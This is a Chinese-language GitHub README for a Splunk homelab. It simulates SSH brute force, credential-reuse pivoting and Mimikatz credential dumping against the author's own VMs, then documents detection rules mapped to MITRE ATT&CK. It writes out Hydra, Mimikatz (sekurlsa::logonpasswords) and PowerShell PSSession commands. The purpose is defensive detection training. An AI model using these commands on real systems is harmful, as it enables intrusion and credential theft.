rajeshdone/soc-homelab-lateral-movement

GitHub: rajeshdone/soc-homelab-lateral-movement

一个基于Splunk的网络安全检测实验室,通过模拟完整的多阶段攻击链并映射MITRE ATT&CK框架,帮助安全团队开发与验证横向移动检测规则。

Stars: 0 | Forks: 0

# 横向移动与权限提升检测实验室

## 📋 项目概述 本实验室模拟了一条**完整的多阶段网络攻击链** —— 从初始网络侦察和 SSH 凭据暴力破解,到基于凭据的权限提升以及向高权限账户的横向移动 —— 并应用了 **实时的 Splunk Enterprise 检测规则**,利用 Windows 安全事件日志遥测技术来识别每个攻击阶段。 ## 🎯 目标 - 模拟贯穿 **初始访问 → 权限提升 → 横向移动** 杀伤链的真实攻击者行为 - 开发并部署针对 Windows 事件 ID 4624、4625 和 4688 的**生产级 Splunk 检测规则** - 关联多事件攻击模式以减少检测延迟 - 将所有模拟技术映射到 **MITRE ATT&CK Enterprise 框架** - 生成带有取证证据的结构化**事件响应时间线** ## 🏗️ 实验室架构 ``` ┌─────────────────────────────────────────────────────────┐ │ ATTACKER MACHINE: Kali Linux │ │ IP: 10.0.2.3 │ │ │ │ Tools: Nmap 7.99 | Hydra v9.6 | Python3 HTTP Server │ │ Actions: Port scan → SSH brute-force → Remote shell │ └───────────────────────┬─────────────────────────────────┘ │ NAT Network: 10.0.2.0/24 (VirtualBox LabNetwork) │ ┌───────────────────────▼─────────────────────────────────┐ │ VICTIM MACHINE: Windows 10 (Build 19045) │ │ Hostname: DESKTOP-SVC18M0 │ │ IP: 10.0.2.4 │ │ │ │ User Accounts: │ │ low_priv_user → Compromised via brute-force │ │ admin_user → Pivoted to via credential reuse │ │ victim_user → Monitored for lateral movement │ │ │ │ Services: SSH (port 22) | Splunk Universal Forwarder │ │ Log Source: sourcetype="WinEventLog:Security" │ └───────────────────────┬─────────────────────────────────┘ │ Log Forwarding (Port 9997) │ ┌───────────────────────▼─────────────────────────────────┐ │ SIEM: Splunk Enterprise v10.2.3 │ │ URL: http://localhost:8000 │ │ Index: windows_lab │ │ │ │ Configured: │ │ - Windows Security Event Log ingestion │ │ - 4 Real-time detection alerts │ │ - Lateral_Movement_Lab_Dashboard │ └─────────────────────────────────────────────────────────┘ ``` ## 📅 时间线摘要 | 日期 | 活动 | |---|---| | 2026年6月20日 | 实验室环境搭建、VM 配置、Splunk Universal Forwarder 部署 | | 2026年6月21日 | 攻击模拟:Nmap 侦察、Hydra 暴力破解、实现初始访问 | | 2026年6月22日 | 权限提升、横向移动、Splunk 检测工程 | | 2026年6月23日 | 仪表板创建、警报调优、文档编写及 GitHub 发布 | ## ⚔️ 攻击模拟 —— 逐阶段解析 ### 阶段 1:侦察 (T1046) **目标**:识别目标网络上的开放服务。 ``` # 攻击者:10.0.2.3 (Kali Linux) nmap -p 22 10.0.2.4 # 输出: # PORT STATE SERVICE # 22/tcp open ssh # MAC Address: 08:00:27:75:34:DE (Oracle VirtualBox virtual NIC) ``` **结果**:确认 `DESKTOP-SVC18M0` (10.0.2.4) 上的 SSH 端口 22 处于开放状态 ### 阶段 2:初始访问 —— SSH 凭据暴力破解 (T1110.001) **目标**:通过自动暴力破解获取 `low_priv_user` 的有效凭据。 ``` # 已创建凭据 wordlist nano /tmp/rdp_creds.txt # 内容:low_priv_user, admin_user, victim_user # 已执行 Hydra SSH 暴力破解 hydra -L /tmp/rdp_creds.txt -p Password123 10.0.2.4 ssh # 成功结果: # [22][ssh] host: 10.0.2.4 login: low_priv_user password: Password123 # 1 of 1 target 已成功完成,找到 1 个有效密码 ``` **截图 —— 攻击执行:** ![Hydra SSH 暴力破解攻击](https://raw.githubusercontent.com/rajeshdone/soc-homelab-lateral-movement/main/screenshots/01-hydra-bruteforce.png) *Hydra v9.6 成功通过 SSH 暴力破解攻破 low_priv_user 凭据(2026年6月21日 14:50:09)* **生成的 Windows 事件:** - `Event ID 4625` — 来自 10.0.2.3 的多次失败身份验证尝试 - `Event ID 4624` — `low_priv_user` 的成功网络登录 (LogonType 3) ### 阶段 3:权限提升 —— 管理员跳板 (T1078.003) **目标**:利用凭据重用,从 `low_priv_user` 提升至 `admin_user`。 ``` # 从被攻陷的 low_priv_user shell 中,以 admin_user 身份进行身份验证 ssh admin_user@10.0.2.4 # 验证权限级别 admin_user@DESKTOP-SVC18M0> whoami /priv # 结果:已启用 24 项 admin privileges,包括: # SeDebugPrivilege (Debug programs) # SeImpersonatePrivilege (Impersonate client after authentication) # SeBackupPrivilege (Back up files and directories) # SeTakeOwnershipPrivilege (Take ownership of files and objects) admin_user@DESKTOP-SVC18M0> net localgroup administrators # 成员:admin_user, Administrator, victim_user ``` **截图 —— 确认管理员权限:** ![管理员用户权限](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/eef685dfa2225828.png) *admin_user@DESKTOP-SVC18M0 显示已启用 24 项 Windows 权限 —— 确认系统已遭完全攻破* **生成的 Windows 事件:** - `Event ID 4624` — 以 `admin_user` 身份成功登录 (LogonType 3, Network) - 安全标识符 (Security ID):`S-1-5-21-2915881768-3244370459-4140382359-1003` **截图 —— admin_user Event ID 4624:** ![管理员用户登录](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/c9d8fc2a05225830.png) *Splunk 捕获到的 admin_user EventCode=4624 —— 2026年6月21日至22日期间记录到 3 次成功登录事件* ### 阶段 4:横向移动 —— 攻击工件部署 (T1570, T1059.001) **目标**:从受攻击者控制的会话中部署凭据提取脚本和横向移动工具。 ``` rem Credential extraction batch script admin_user@DESKTOP-SVC18M0> echo @echo off > Documents\extract_creds.bat admin_user@DESKTOP-SVC18M0> echo mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> Documents\extract_creds.bat rem PowerShell lateral movement script admin_user@DESKTOP-SVC18M0> echo $creds = New-Object System.Management.Automation.PSCredential("admin_user", (ConvertTo-SecureString "AdminPass123" -AsPlainText -Force)) > Documents\lateral_move.ps1 admin_user@DESKTOP-SVC18M0> echo New-PSSession -ComputerName 10.0.2.15 -Credential $creds >> Documents\lateral_move.ps1 rem Verify artifact creation admin_user@DESKTOP-SVC18M0> dir Documents\ # extract_creds.bat 80 bytes 22-06-2026 01:38 # lateral_move.ps1 198 bytes 22-06-2026 01:39 ``` **截图 —— 创建的攻击工件:** ![攻击工件](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/53aac8da0d225832.png) *在 C:\Users\admin_user\Documents\ 中创建的攻击工件文件 —— extract_creds.bat (Mimikatz 自动化) 和 lateral_move.ps1 (PSSession 横向移动)* **生成的 Windows 事件:** - `Event ID 4688` — 创建新进程:`cmd.exe` (创建者:`admin_user`) - `Event ID 4688` — 创建新进程:`powershell.exe` (创建者:`admin_user`) ## 🔍 检测工程 ### 基础设施配置 | 参数 | 值 | |---|---| | SIEM 平台 | Splunk Enterprise v10.2.3 | | 日志源 | `sourcetype="WinEventLog:Security"` | | 索引 | `windows_lab` | | Forwarder | DESKTOP-SVC18M0 上的 Splunk Universal Forwarder | | 转发端口 | 9997 | | 警报类型 | 实时(单结果触发器) | ### 核心 Windows 事件 ID | 事件 ID | 描述 | 检测作用 | |---|---|---| | 4624 | 账户成功登录 | 跟踪 admin_user 会话创建及横向移动 | | 4625 | 账户登录失败 | 随时间映射暴力破解尝试的频次 | | 4688 | 已创建新进程 | 跟踪 admin_user 执行 cmd.exe 和 powershell.exe 的情况 | ### 检测规则 1:RDP_Brute_Force_Detected **逻辑**:识别在滚动时间窗口内按账户名聚合的持续身份验证失败记录。 ``` index=* EventCode=4625 | stats count BY Account_Name | where count >= 1 ``` **MITRE ATT&CK**:T1110.001 — 暴力破解:密码猜测 **严重程度**:中 **触发机制**:单结果,实时 ### 检测规则 2:Credential_Dumping_Tool_Detected **逻辑**:审计 Event ID 4688 (进程创建),查找与已知凭据提取工具匹配的命令行参数 —— `mimikatz`、`sekurlsa`、`privilege::debug`。 ``` index=* EventCode=4688 "cmd.exe" ``` **MITRE ATT&CK**:T1003.001 — 操作系统凭据转储:LSASS Memory **严重程度**:严重 **误报率**:在隔离的实验室环境中接近于零 ### 检测规则 3:Brute_Force_Success_Pattern **逻辑**:关联在同一监控时间窗口内同时出现 `EventCode=4625` (失败) 和 `EventCode=4624` (成功) 的账户 —— 这是确认暴力破解成功的明确指标。 ``` index=* (EventCode=4625 OR EventCode=4624) | stats values(EventCode) AS event_codes, count BY Account_Name | where count > 1 AND like(event_codes, "%4625%") AND like(event_codes, "%4624%") ``` **检测结果:** | 账户名 | 事件代码 | 计数 | |---|---|---| | DESKTOP-SVC18M0$ | 4624, 4625 | 67 | | admin_user | 4624, 4625 | 10 | | victim_user | 4624, 4625 | 3 | **截图 —— 警报配置:** ![暴力破解成功模式警报](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/477cd1a2c4225834.png) *Splunk 警报:Brute_Force_Success_Pattern —— 实时,单结果触发器,修改于 2026年6月22日 11:47 PM* **MITRE ATT&CK**:T1110 — 暴力破解 **严重程度**:严重 **触发机制**:单结果,实时 ### 检测规则 4:Lateral_Movement_Privilege_User **逻辑**:在出现初始攻破指标后,广泛监控专门针对高权限 `admin_user` 账户的成功身份验证 (`EventCode=4624`) 和会话创建日志。 ``` index=* EventCode=4624 "admin_user" ``` **检测结果**:捕获到 `admin_user` 在 2026年6月21日至22日期间的 9 个事件 **截图 —— 警报配置:** ![横向移动高权限用户警报](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/f65c9fb3ff225835.png) *Splunk 警报:Lateral_Movement_Privilege_User —— 实时,单结果触发器,修改于 2026年6月22日 11:56 PM* **MITRE ATT&CK**:T1078.003 — 有效账户:本地账户 **严重程度**:严重 **触发机制**:单结果,实时 ### 检测规则 5:PowerShell_Lateral_Movement_Detected **逻辑**:检测通过 PowerShell 执行基于脚本的横向移动尝试时,与手动或未经批准的执行参数相匹配的记录 —— 排除已知的良性 Splunk PowerShell 执行行为。 ``` index=* EventCode=4688 "powershell.exe" NOT "splunk-powershell.exe" ``` **MITRE ATT&CK**:T1059.001 — 命令和脚本解释器:PowerShell **严重程度**:高 **触发机制**:单结果,实时 ## 📊 Splunk 仪表板 —— Lateral_Movement_Lab_Dashboard **目的**:提供统一的 SOC 分诊窗口,跨三个检测维度综合展示攻击遥测数据。 **仪表板组件:** | 面板 | 查询语句 | 可视化形式 | |---|---|---| | 随时间变化的 RDP 登录失败尝试 | `EventCode=4625 \| timechart count BY Account_Name` | 折线图 | | 可疑进程执行(凭据工具) | `EventCode=4688 \| stats count BY Account_Name, Creator_Process_Name` | 表格 | | 按账户分类的网络登录事件 | `EventCode=4624 \| stats count BY Account_Name` | 表格 | **关键工程决策**:应用 `Time range: All time` 作为全局回退过滤器,以消除 Windows VM 日志生成时间戳与 Splunk 索引时间之间的时间同步差异 —— 从而确保完整的事件可见性。 **截图 —— 仪表板概览:** ![横向移动实验室仪表板](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/e3c34d4b4a225837.png) *Lateral_Movement_Lab_Dashboard —— 对横向移动和权限提升尝试的实时检测 —— 2026年6月22日* **截图 —— 仪表板详情:** ![仪表板网络登录表格](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/8de52cabb2225839.png) *按账户分类的网络登录事件:admin_user (9 个事件)、low_priv_user (4 个事件) —— 证实了成功的横向移动* ## 🎓 MITRE ATT&CK 框架映射 | 技术 ID | 战术 | 技术名称 | 实验室实现方式 | 检测情况 | |---|---|---|---|---| | T1046 | 侦察 | 网络服务发现 | `nmap -p 22 10.0.2.4` | ⚠️ 部分检测 | | T1110.001 | 初始访问 | 暴力破解:密码猜测 | Hydra SSH 暴力破解 | ✅ 已检测到 | | T1078.003 | 权限提升 | 有效账户:本地账户 | 使用提取的凭据以 admin_user 身份进行 SSH 登录 | ✅ 已检测到 | | T1003.001 | 凭据访问 | 操作系统凭据转储:LSASS Memory | Mimikatz v2.2.0 extract_creds.bat | ✅ 已检测到 | | T1059.001 | 执行 | PowerShell | lateral_move.ps1 PSSession 部署 | ✅ 已检测到 | | T1570 | 横向移动 | 横向工具转移 | Python3 HTTP 服务器 → certutil 文件传输 | ⚠️ 部分检测 | | T1021.004 | 横向移动 | 远程服务:SSH | 从 low_priv_user 到 admin_user 的 SSH 跳板 | ✅ 已检测到 | | T1550.003 | 横向移动 | 替代身份验证材料:Pass the Hash | 凭据转储后的 NTLM hash 重用 | ⚠️ 部分检测 | **检测覆盖率**:8 项技术中有 5 项被完全检测到 | 3 项被部分检测到 | 0 项未检测到 ## 📁 仓库结构 ``` soc-homelab-lateral-movement/ │ ├── README.md ← This file (project overview) ├── SETUP_GUIDE.md ← Step-by-step lab reconstruction ├── DETECTION_QUERIES.md ← All SPL detection queries with logic ├── ATTACK_TIMELINE.md ← Chronological attack documentation ├── MITRE_MAPPING.md ← ATT&CK technique deep-dives │ └── screenshots/ ├── 01-hydra-bruteforce.png ← Hydra SSH attack execution ├── 02-dashboard-overview.png ← Splunk dashboard top panel ├── 03-dashboard-details.png ← Dashboard network login table ├── 04-brute-force-alert.png ← Brute_Force_Success_Pattern alert ├── 05-lateral-movement-alert.png ← Lateral_Movement_Privilege_User alert ├── 06-admin-login-event.png ← admin_user EventCode=4624 in Splunk ├── 07-admin-privileges.png ← whoami /priv full privilege dump └── 08-attack-artifacts.png ← extract_creds.bat & lateral_move.ps1 ``` ## 🔧 如何复现此实验室 ### 前置条件 | 组件 | 规格 | |---|---| | Hypervisor | Oracle VirtualBox(已配置 NAT Network) | | 攻击者 VM | Kali Linux(IP:10.0.2.3) | | 受害者 VM | Windows 10 Build 19045(IP:10.0.2.4) | | SIEM | Splunk Enterprise v10.2.3 (localhost:8000) | | Forwarder | Windows VM 上的 Splunk Universal Forwarder | | RAM | 建议至少 8GB | | 磁盘 | 60GB 可用空间 | **完整设置指南**:参见 [SET_GUIDE.md](SETUP_GUIDE.md) ## 🛡️ 检测摘要与结果 | 警报名称 | 攻击阶段 | 事件 ID | 状态 | 是否触发 | |---|---|---|---|---| | RDP_Brute_Force_Detected | 初始访问 | 4625 | ✅ 激活 | 是 | | Credential_Dumping_Tool_Detected | 凭据访问 | 4688 | ✅ 激活 | 是 | | Brute_Force_Success_Pattern | 初始访问 | 4625 + 4624 | ✅ 激活 | 是 | | Lateral_Movement_Privilege_User | 横向移动 | 4624 | ✅ 激活 | 是 | | PowerShell_Lateral_Movement_Detected | 执行 | 4688 | ✅ 激活 | 是 | **总体检测率**:5/5 个警报在实际攻击事件中触发 **误报率**:极低(已应用 Splunk 进程排除规则) **检测延迟**:实时(单结果触发) ## 💡 关键技术心得 **1. SSH 与 RDP 的术语差异** 本实验室最初以 RDP 为目标,但 Windows VM 通过 OpenSSH 暴露了 SSH(端口 22)。Hydra 被重定向以攻击 `ssh://10.0.2.4:22` —— 这是一个准确的真实场景,因为攻击者会根据可用的服务进行适应调整。 **2. Splunk 时间同步问题** 在 NAT 转发过程中,Windows VM 系统时钟与 Splunk 索引时间出现偏差。应用 `Time range: All time` 作为全局仪表板过滤器,以确保无论时间戳如何偏移都能获得完整的事件可见性。 **3. Event ID 4688 进程创建依赖关系** 通过 Event ID 4688 检测凭据提取工具,需要在 Windows 安全策略中启用**进程创建审核** (Process Creation Auditing) 和**命令行审核日志记录** (Command-Line Audit Logging)。否则,Mimikatz 的执行将不会产生任何安全日志条目。 **4. 凭据重用 = 隐蔽的横向移动** 向 `admin_user` 的跳板操作仅生成了 `EventCode=4624`(成功登录) —— 单独来看没有任何异常指标。这说明了为什么**跨多种事件类型进行关联**(4625 → 4624 → 4688)对于准确的横向移动检测至关重要。 **5. Splunk 字段标准化** Windows 事件日志将 `Account_Name` 和 `Creator_Process_Name` 作为独立字段进行转发。基于这些字段进行 SPL 关接,实现了使用原始日志搜索无法完成的多维度关联分析。 ## 🚀 未来实验室扩展方向 - [ ] **C2 Beaconing 检测** —— 部署 Empire 或 Sliver C2 框架,检测 DNS/HTTP beacon 模式 - [ ] **数据泄露模拟** —— 分阶段进行文件窃取,通过网络流量异常进行检测 - [ ] **Splunk SOAR 集成** —— 通过自动化的账户锁定剧本实现自动化的警报响应 - [ ] **Kerberoasting 攻击** —— 模拟 SPN 枚举和票据破解,通过 Event ID 4769 进行检测 - [ ] **Pass-the-Hash 实验室** —— 在不依赖明文凭据的情况下,全面模拟 NTLM hash 重用 ## 📚 参考资料 - [MITRE ATT&CK Enterprise 矩阵](https://attack.mitre.org/matrices/enterprise/) - [Splunk SPL 参考指南](https://docs.splunk.com/Documentation/Splunk/latest/SearchReference) - [Windows 安全事件日志百科](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-events) - [Mimikatz GitHub 仓库](https://github.com/gentilkiwi/mimikatz) - [THC-Hydra](https://github.com/vanhauser-thc/thc-hydra) - [Nmap 安全扫描器](https://nmap.org/) ## 作者 ### **Rajesh R** 热衷于构建防御性安全实验室、分析威胁行为以及研发 SIEM 检测机制。专注于通过实用的、亲自动手的家庭实验室构建,来精通企业级安全工具。 #### **联系方式:** * 🔗 **LinkedIn:** [linkedin.com/in/rajesh105](https://www.linkedin.com/in/rajesh105) * ✉️ **Email:** rajeshrajendran105@gmail.com * 💻 **GitHub:** [github.com/rajeshdone](https://github.com/rajeshdone) ## 📜 免责声明 本实验室完全在**隔离的 VirtualBox NAT Network**内进行,仅供教育目的。所有攻击模拟均针对自有的虚拟机。未访问或损害任何外部系统。请负责任地使用所有工具和技术,并且仅在您拥有或获得明确书面测试授权的环境中使用。 ## 🔗 相关作品集项目 | 项目 | 描述 | 仓库 | |---|---|---| | SOC 家庭实验室 —— SSH 暴力破解检测 | SSH 暴力破解模拟与 Splunk 警报工程 | [soc-homelab-ssh-bruteforce](https://github.com/rajeshdone/soc-homelab-ssh-bruteforce) | | SOC 家庭实验室 —— 钓鱼模拟 | 通过 SET 进行凭据收集及网络层检测 | [soc-homelab-phishing-simulation](https://github.com/rajeshdone/soc-homelab-phishing-simulation) | | SOC 家庭实验室 – 横向移动与权限提升 | 威胁模拟与横向移动检测机制 | [soc-homelab-lateral-movement](https://github.com/rajeshdone/soc-homelab-lateral-movement) |
标签:AMSI绕过, Cloudflare, CTF学习, CTI, MITRE ATT&CK, PE 加载器, 内网渗透, 威胁检测, 红队行动